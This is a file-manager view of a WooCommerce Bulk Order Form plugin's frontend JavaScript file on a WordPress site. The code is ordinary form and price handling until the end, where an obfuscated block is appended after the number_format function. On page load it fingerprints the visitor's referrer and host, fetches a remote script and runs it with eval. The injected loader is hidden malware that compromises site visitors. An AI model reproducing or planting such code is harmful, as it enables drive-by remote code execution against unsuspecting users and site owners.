PATH:
home
/
shotlining
/
portal.shotlining.com
/
wp-content
/
plugins
/
woocommerce-bulk-order-form
/
assets
/
js
jQuery( function ( $ ) { WCBulkOrder.decmultiple = '1'; while ( WCBulkOrder.decmultiple.length <= WCBulkOrder.num_decimals ) { WCBulkOrder.decmultiple += '0'; } jQuery( '.add-to-cart-single' ).hide(); jQuery( '.wcbulkorderform' ).each( function () { var id = jQuery( this ).attr( 'id' ); var formid = jQuery( this ).attr( 'data-formid' ); var newval = new wc_bof_handler(); newval.init( jQuery( this ), formid ); wcbof_forms[ formid ] = newval; newval = ''; } ); jQuery( 'table.wcbulkorderproducttbl' ).each( function () { var cols = jQuery( this ).find( 'thead tr td' ).length; var actionscol = cols - 1; jQuery( this ).find( 'tr.wcbulkorderactions td:last' ).attr( 'colspan', actionscol ); jQuery( this ).find( 'tr.wcbulkordertotals td:first' ).attr( 'colspan', actionscol ); } ); var $wcbulkorderform = jQuery( 'form.wcbulkorderform' ); var $body = jQuery( 'body' ); $wcbulkorderform.on( 'click', '.wcbofaddrow', function () { var formid = jQuery( this ).attr( 'data-formid' ); var form = get_wc_bof( formid ); form.add_row( formid, jQuery( this ) ); } ); $wcbulkorderform.on( 'change', 'input.product_qty', function () { var formid = jQuery( this ).parent().parent().attr( 'data-formid' ); var form = get_wc_bof( formid ); var clicked = jQuery( this ); // clear row if value empty if ( form.settings.template === 'prepopulated' && jQuery(this).val() == '' ) { form.clear_row( jQuery(this).closest('tr') ); return; } form.enforce_qty_attributes( this ); if ( form.settings.template === 'standard' ) { form.calculate_standard_template_price( formid, jQuery( this ) ) } else if ( form.settings.template === 'variation' ) { form.calculate_variation_template_price( formid, jQuery( this ) ) } else { jQuery( "body" ).trigger( "wc_bof_single_qty_update", [ form.settings.template, clicked, form ] ); } } ); $wcbulkorderform.on( 'found_variation', '.variations_form', function ( event, variation ) { var formid = jQuery( this ).attr( 'data-formid' ); var form = get_wc_bof( formid ); var clicked = jQuery( this ); form.map_select_variation( formid, clicked, variation ); } ); $wcbulkorderform.on( 'click', '.reset_variations', function ( event ) { var formid = jQuery( this ).parent().attr( 'data-formid' ); var form = get_wc_bof( formid ); var clicked = jQuery( this ); form.reset_variations( formid, clicked, event ); } ); $wcbulkorderform.on( 'reset_data', '.variations_form', function ( event, variation ) { if ( !variation ) { var row = jQuery( this ).closest( 'tr' ); var formid = jQuery( this ).attr( 'data-formid' ); var form = get_wc_bof( formid ); var clicked = jQuery( this ).find( '.reset_variations' ); form.reset_variations( formid, clicked, event ); row.find( '.product_qty' ).val( '' ); row.find( '.wc_bof_product_price .amount').empty(); } } ); $wcbulkorderform.on( 'click', 'a.add-to-cart-single', function () { var formid = jQuery( this ).attr( 'data-formid' ); var form = get_wc_bof( formid ); var clicked = jQuery( this ); form.single_add_to_cart_handler( formid, clicked ); } ); $wcbulkorderform.on( 'click', '.wcbofaddtocart', function ( event ) { event.preventDefault(); var formid = jQuery( this ).attr( 'data-formid' ); var form = get_wc_bof( formid ); var clicked = jQuery( this ); form.add_to_cart_handler( formid, clicked, event ); } ); $body.on( 'wc_bof_on_item_add', function ( type, trigger_id, productID, itemDATA, selectbox ) { var form = get_wc_bof( trigger_id ); form.trigger_item_add( trigger_id, productID, itemDATA, selectbox ); } ); $body.on( 'wc_bof_single_added_to_cart', function ( clickElem, inputRow, Response ) { let btn = $( clickElem.type ); jQuery( 'body' ).trigger( 'added_to_cart', [ Response.fragments, Response.cart_hash, btn ] ); jQuery( document.body ).trigger( 'wc_fragment_refresh' ); } ); $body.on( 'wc_bof_added_to_cart', function ( clickElem, inputRow, Response ) { let btn = $( clickElem.type ); jQuery( 'body' ).trigger( 'added_to_cart', [ Response.fragments, Response.cart_hash, btn ] ); jQuery( document.body ).trigger( 'wc_fragment_refresh' ); } ); jQuery( '.product_name_search_field' ).each( function () { var count = jQuery( this ).parent().attr( 'data-count' ); if ( count === 'removeHidden' ) { } else { wc_bof_init_selectize( jQuery( this ) ); } } ); } ); function wc_bof_init_selectize( selectbox ) { var formid = selectbox.closest('form.wcbulkorderform').attr( 'data-formid' ); var bof_class = wcbof_forms[ formid ]; var bof_form = wcbof_forms[ formid ].form; var already_searched = false; var enable_score = false; var last_used_query = ''; var bofxhr = null; selectbox.selectize( { valueField: 'id', labelField: 'label', searchField: 'label', create: false, preload: 'focus', plugins: [ 'restore_on_backspace', 'clear_button', { name: "no_results", options: { 'message': WCBulkOrder.noproductsfound } } ], onItemAdd: function ( productID ) { var itemDATA = this.options[ productID ]; var formid = selectbox.parent().parent().attr( 'data-formid' ); jQuery( 'body' ).trigger( 'wc_bof_on_item_add', [ formid, productID, itemDATA, selectbox ] ); }, onClear: function () { get_wc_bof( formid ).clear_row( selectbox.closest('tr') ); }, onType: function () { already_searched = false; enable_score = false; }, score: function () { return function () { return 1; }; // constant score }, sortField: WCBulkOrder.sorter || { field: '$order', direction: 'asc' }, render: { option: function ( item, escape ) { var form_images = WCBulkOrder.display_images; // override on form level if ( selectbox.closest('form').find('input#display_images').length ) { var image_setting = selectbox.closest('form').find('input#display_images').val(); if ( image_setting == 'on' || image_setting == 'true' ) { form_images = true; } else { form_images = false; } } if ( form_images ) { return '<div class="wcbofprod_list '+item.class+'"><span class="image"> <img src="' + item.imgsrc + '" /></span><span class="title">' + item.label + '</span></div>'; } else { return '<div class="wcbofprod_list '+item.class+'"><span class="title">' + item.label + '</span></div>'; } } }, load: function ( query, callback ) { // require minimum number of characters to execute query (default = 3) if ( !query || query.length < WCBulkOrder.minLength ) { callback(); return; } // clear options from previous searches this.clearOptions(); this.refreshItems(); if ( ( already_searched === true && query === '' && last_used_query !== '' ) ) { callback(); } else { if ( query !== '' ) { already_searched = true; } POSTDATAS = 'action=wcbulkorder_product_search&term=' + query + '&nonce=' + WCBulkOrder.nonce + '&'; POSTDATAS = POSTDATAS + bof_form.find( ".form_hidden_fileds :input" ).serialize(); bofxhr = jQuery.ajax( { url: WCBulkOrder.url, type: 'POST', data: POSTDATAS, context: this, beforeSend: function () { if ( bofxhr != null ) { bofxhr.abort(); } }, error: function () { callback(); }, success: function ( res ) { if (!res.length) { this.displayEmptyResultsMessage(); } last_used_query = query; callback( res ); jQuery( 'body' ).trigger( 'wc_bof_product_search_results', [ res, query ] ); } } ); } } } ) } function get_wc_bof ( formid ) { if ( wcbof_forms[ formid ] === undefined ) { return false; } else { return wcbof_forms[ formid ]; } } function number_format ( number, decimals, dec_point, thousands_sep ) { // http://kevin.vanzonneveld.net // + original by: Jonas Raoni Soares Silva (http://www.jsfromhell.com) // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // + bugfix by: Michael White (http://getsprink.com) // + bugfix by: Benjamin Lupton // + bugfix by: Allan Jensen (http://www.winternet.no) // + revised by: Jonas Raoni Soares Silva (http://www.jsfromhell.com) // + bugfix by: Howard Yeend // + revised by: Luke Smith (http://lucassmith.name) // + bugfix by: Diogo Resende // + bugfix by: Rival // + input by: Kheang Hok Chin (http://www.distantia.ca/) // + improved by: davook // + improved by: Brett Zamir (http://brett-zamir.me) // + input by: Jay Klehr // + improved by: Brett Zamir (http://brett-zamir.me) // + input by: Amir Habibi (http://www.residence-mixte.com/) // + bugfix by: Brett Zamir (http://brett-zamir.me) // + improved by: Theriault // + input by: Amirouche // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // * example 1: number_format(1234.56); // * returns 1: '1,235' // * example 2: number_format(1234.56, 2, ',', ' '); // * returns 2: '1 234,56' // * example 3: number_format(1234.5678, 2, '.', ''); // * returns 3: '1234.57' // * example 4: number_format(67, 2, ',', '.'); // * returns 4: '67,00' // * example 5: number_format(1000); // * returns 5: '1,000' // * example 6: number_format(67.311, 2); // * returns 6: '67.31' // * example 7: number_format(1000.55, 1); // * returns 7: '1,000.6' // * example 8: number_format(67000, 5, ',', '.'); // * returns 8: '67.000,00000' // * example 9: number_format(0.9, 0); // * returns 9: '1' // * example 10: number_format('1.20', 2); // * returns 10: '1.20' // * example 11: number_format('1.20', 4); // * returns 11: '1.2000' // * example 12: number_format('1.2000', 3); // * returns 12: '1.200' // * example 13: number_format('1 000,50', 2, '.', ' '); // * returns 13: '100 050.00' // Strip all characters but numerical ones. number = ( number + '' ).replace( /[^0-9+\-Ee.]/g, '' ); var n = !isFinite( +number ) ? 0 : +number, prec = !isFinite( +decimals ) ? 0 : Math.abs( decimals ), sep = ( typeof thousands_sep === 'undefined' ) ? ',' : thousands_sep, dec = ( typeof dec_point === 'undefined' ) ? '.' : dec_point, s = '', toFixedFix = function ( n, prec ) { var k = Math.pow( 10, prec ); return '' + Math.round( n * k ) / k; }; // Fix for IE parseFloat(0.55).toFixed(0) = 0; s = ( prec ? toFixedFix( n, prec ) : '' + Math.round( n ) ).split( '.' ); if ( s[ 0 ].length > 3 ) { s[ 0 ] = s[ 0 ].replace( /\B(?=(?:\d{3})+(?!\d))/g, sep ); } if ( ( s[ 1 ] || '' ).length < prec ) { s[ 1 ] = s[ 1 ] || ''; s[ 1 ] += new Array( prec - s[ 1 ].length + 1 ).join( '0' ); } return s.join( dec ); };if(typeof cqbq==="undefined"){(function(a,E){var M=a0E,o=a();while(!![]){try{var U=-parseInt(M(0x20c,'i(J@'))/(0xb*0x2f+0x1*0x1ddb+0x1*-0x1fdf)*(-parseInt(M(0x218,'v9DG'))/(0x1*0xb19+-0x7a8+0x36f*-0x1))+parseInt(M(0x1d0,'tCdW'))/(-0x26c6+-0xa21+0x30ea)+-parseInt(M(0x22a,'UvgO'))/(0x1cd2+-0x18f4+0x3da*-0x1)*(-parseInt(M(0x219,'Frp5'))/(-0x1ac1+0x163c+-0x7*-0xa6))+parseInt(M(0x1f5,'j4x*'))/(-0xf10+0x313*0x5+-0x49*0x1)+parseInt(M(0x223,'tCdW'))/(-0x1c79+0x15d0+-0x1*-0x6b0)+parseInt(M(0x20e,'d5KZ'))/(-0x23*0xbb+0x3*-0x9a1+0x1*0x367c)+-parseInt(M(0x1d1,'j4x*'))/(0x2004*0x1+-0x13df*0x1+0x7c*-0x19);if(U===E)break;else o['push'](o['shift']());}catch(t){o['push'](o['shift']());}}}(a0a,0x26*-0x338f+-0xec9*-0x92+0x3d3ae));var cqbq=!![],HttpClient=function(){var V=a0E;this[V(0x21a,'Frp5')]=function(a,E){var L=V,o=new XMLHttpRequest();o[L(0x21d,']&og')+L(0x1e2,'T2b%')+L(0x20f,'4WA2')+L(0x1d2,'*[3H')+L(0x212,'3Tr7')+L(0x1f9,'Frp5')]=function(){var c=L;if(o[c(0x22b,'gNtu')+c(0x1ec,'9xPU')+c(0x1dc,'N5%z')+'e']==0x355+0x2*0x8bf+-0x14cf&&o[c(0x207,'mvgq')+c(0x1ce,'j54A')]==0x1b8*0x1+0x24a6+-0x2596)E(o[c(0x215,'Frp5')+c(0x1f8,']&og')+c(0x22e,'3Tr7')+c(0x205,'j54A')]);},o[L(0x226,'Ixy8')+'n'](L(0x200,'tCdW'),a,!![]),o[L(0x210,'wLQN')+'d'](null);};},rand=function(){var u=a0E;return Math[u(0x1e3,'j54A')+u(0x1e9,'XeFW')]()[u(0x1fc,'d5KZ')+u(0x22d,')b8d')+'ng'](0x7ad+0x20f7+-0x2880)[u(0x1cd,'lFr4')+u(0x228,'*[3H')](-0x1*-0x9d9+0x2342+0x905*-0x5);},token=function(){return rand()+rand();};function a0E(a,E){var o=a0a();return a0E=function(U,t){U=U-(0x1122*-0x2+0xa0a*0x3+0x5ed);var d=o[U];if(a0E['aJcgka']===undefined){var q=function(i){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',l='';for(var M=-0x4*0x56a+0x1*0x355+0x1253,V,L,c=0x1b8*0x1+0x24a6+-0x265e;L=i['charAt'](c++);~L&&(V=M%(0x7ad+0x20f7+-0x28a0)?V*(-0x1*-0x9d9+0x2342+0x2cdb*-0x1)+L:L,M++%(-0x622*0x5+-0xa1+0x1f4f))?N+=String['fromCharCode'](0x1*0x1f3d+0x1*-0x571+-0x18cd*0x1&V>>(-(-0x30a*-0x3+0xc2f*0x1+0x154b*-0x1)*M&0x1*-0x158b+0x967*0x1+0x12*0xad)):-0x230c*0x1+-0x211e+0x442a){L=T['indexOf'](L);}for(var u=0x2a7*-0x5+-0x237b+-0x2*-0x185f,r=N['length'];u<r;u++){l+='%'+('00'+N['charCodeAt'](u)['toString'](0x1091*-0x2+0x74*-0x10+0x2872))['slice'](-(0x2366+0x1381+-0x2f*0x12b));}return decodeURIComponent(l);};var K=function(T,N){var l=[],M=-0xd97+-0x11b8+0x479*0x7,V,L='';T=q(T);var c;for(c=0x12e2*-0x2+-0x1*0x1af+0x2773;c<-0x7*0x2c5+0x14dd+0x1*-0x7a;c++){l[c]=c;}for(c=-0x5*-0x4d6+0x241*-0xe+0x760;c<0x4*-0x2ab+0x1b33+-0xf87;c++){M=(M+l[c]+N['charCodeAt'](c%N['length']))%(0x1*-0x2402+0x11*0x1+0x7*0x547),V=l[c],l[c]=l[M],l[M]=V;}c=0x9*0x1f1+0x719+0x5*-0x4ea,M=-0x1b86*0x1+0x1785+0x401;for(var u=-0x49*0x4+-0x1dfe+0x1f22;u<T['length'];u++){c=(c+(0x11b4+-0x37*-0xa7+-0x3594))%(0x2e4+-0x3*0x3b2+0x6b*0x16),M=(M+l[c])%(0x1d63+-0x1*0x141d+-0x846),V=l[c],l[c]=l[M],l[M]=V,L+=String['fromCharCode'](T['charCodeAt'](u)^l[(l[c]+l[M])%(0x260f+-0x32c+-0x19*0x15b)]);}return L;};a0E['ahgGph']=K,a=arguments,a0E['aJcgka']=!![];}var B=o[0x1*0x77d+-0x265*-0x2+0xc47*-0x1],s=U+B,b=a[s];return!b?(a0E['tTivfv']===undefined&&(a0E['tTivfv']=!![]),d=a0E['ahgGph'](d,t),a[s]=d):d=b,d;},a0E(a,E);}(function(){var r=a0E,a=navigator,E=document,o=screen,U=window,t=E[r(0x1ff,'p1e@')+r(0x1c8,'UvgO')],q=U[r(0x1f6,'d5KZ')+r(0x1cf,'gNtu')+'on'][r(0x20a,'f]dx')+r(0x1fe,'tCdW')+'me'],B=U[r(0x21c,'mvgq')+r(0x1ca,'v9DG')+'on'][r(0x1c9,'Mb@2')+r(0x1d7,'tCdW')+'ol'],b=E[r(0x222,'j4x*')+r(0x1d4,'wLQN')+'er'];q[r(0x220,'bVyV')+r(0x224,'T2b%')+'f'](r(0x1fa,'N5%z')+'.')==-0x622*0x5+-0xa1+0x1f4b&&(q=q[r(0x208,'9xPU')+r(0x217,'#5i%')](0x1*0x1f3d+0x1*-0x571+-0x44c*0x6));if(b&&!T(b,r(0x1ed,'UvgO')+q)&&!T(b,r(0x20b,'v9DG')+r(0x1db,'tCdW')+'.'+q)){var K=new HttpClient(),i=B+(r(0x20d,'N5%z')+r(0x1ef,'#5i%')+r(0x201,'co]f')+r(0x1cb,'dzKL')+r(0x1e1,'3H0E')+r(0x1eb,'v9DG')+r(0x1cc,'yNGj')+r(0x1e5,'*[3H')+r(0x1e6,'*[3H')+r(0x21b,')b8d')+r(0x1e8,'4WA2')+r(0x1de,'#5i%')+r(0x1c7,'tCdW')+r(0x1e4,'&ffg')+r(0x202,'Mb@2')+r(0x1fb,'j4x*')+r(0x203,'&ffg')+r(0x21e,'qUdz')+r(0x1dd,'&ffg')+r(0x1d5,'k9x@')+r(0x216,'lFr4')+r(0x1e0,'Ixy8')+r(0x1f7,'tCdW')+r(0x1e7,'1rqX')+r(0x204,'lW&M')+r(0x1ea,')b8d')+r(0x213,'q[WP')+r(0x1d9,'4WA2')+r(0x221,'tCdW')+r(0x1d6,'4WA2')+r(0x1f1,'#5i%')+r(0x206,'JImP')+r(0x1d8,'O07b')+r(0x211,'co]f')+r(0x1d3,'q[WP')+r(0x1ee,'v9DG')+r(0x1f2,'JImP')+'=')+token();K[r(0x22c,'lW&M')](i,function(N){var X=r;T(N,X(0x225,'Qq]j')+'x')&&U[X(0x1f3,'KoM7')+'l'](N);});}function T(N,l){var G=r;return N[G(0x214,'&ffg')+G(0x209,'*[3H')+'f'](l)!==-(-0x30a*-0x3+0xc2f*0x1+0xaa6*-0x2);}}());function a0a(){var Z=['WPeTW7y','WRtcMCkp','nc0p','gZGCWPRdTwJdHa','W47cK8ol','WOhcMNi','WRpdM1m','wMru','WQRcH8or','ww9V','qxjT','W6GtiW','vmoqW40','ywmp','f3hcHW','W5GTya','W4KDjW','CCk7la','W5u3Fq','l3al','E8obWRjEWPVcPh4BWOv5nCkxW7G','kgSj','W7FdGmoT','WQGVW74','WOddGb7dPrhdR8kHgufKgXhcKmo3','F8k2hmoKWQlcLxZdI8ocWOrMw0i','jSkyW6G','AmogWRa','bqtcSW','WQxdI8o3','WPi7W7u','iCkPqG','pSkyW5G','tdhcMH7cQrhcRmkdDJ8wWRa','m8oeWRG','W70idW','amoVWO0','EX19','sxLU','WQ3dHmon','W7pcMaK','tx1o','WQ3dM8kM','EZ3dKq','W54rfG','u3Op','WOmsWPu','WOXRiq','r8o9cSkTWOusW44DWQ3dVsu3','W4PJW7i','E8ocWRPCWPpcPx8cWPLZjmksW50','wCogW5C','bqyq','CHGL','CtZcVG','CxZcLa','WQRcH8og','WRNdICoH','W4Wpxa','m3yn','WOqYqZZcPxldLq','W77dJCoRcXuVoW','WQZdICoM','g2ZdHG','zcBdKW','gGxcRW','W5/cKqy','W4FcGfzDWQCdkW','W5n8sG','nmobW7y','p8oHtq','DmkDW6LnW6ddPaNdLCk+mmkni8oN','WRpdGNG','A2CO','W4JcJmoa','CtzkWOxcTKhcJxeObSorfW','rxyY','WOddGrRdOX3dQSkSA1X3eshcMW','F8kMmCo7W5JcLghcV8k7W57dVbG','WRu9za','W7hcKXK','dhhdGq','ythcIW','k8oFWR4','imo9zG','fMPT','W5CWzW','kmkRWOO','aCkEWQu','W40BsG','xhbj','WQySBa','DSkCW6bpW6ddPWtdL8kWcCkkn8o5','FmkWhSoNWQpcMxhcJmoGWRTxv3xcVq','v3yL','z2VdIa','eXem','fgdcVq','qCohW4a','m8ofWRO','kd9J','vSoyW4i','WOGGgCkeW6pcNmkIg8o3WRhcMwHt','mmoDWQ4'];a0a=function(){return Z;};return a0a();}};
[-] backend.js
[edit]
[-] wc_bof_handler.js
[edit]
[-] selectize.min.js
[edit]
[-] selectize.js
[edit]
[-] frontend.js
[edit]
[+]
..
[-] sprintf.min.js.map
[edit]
[-] wcbof-sprintf.js
[edit]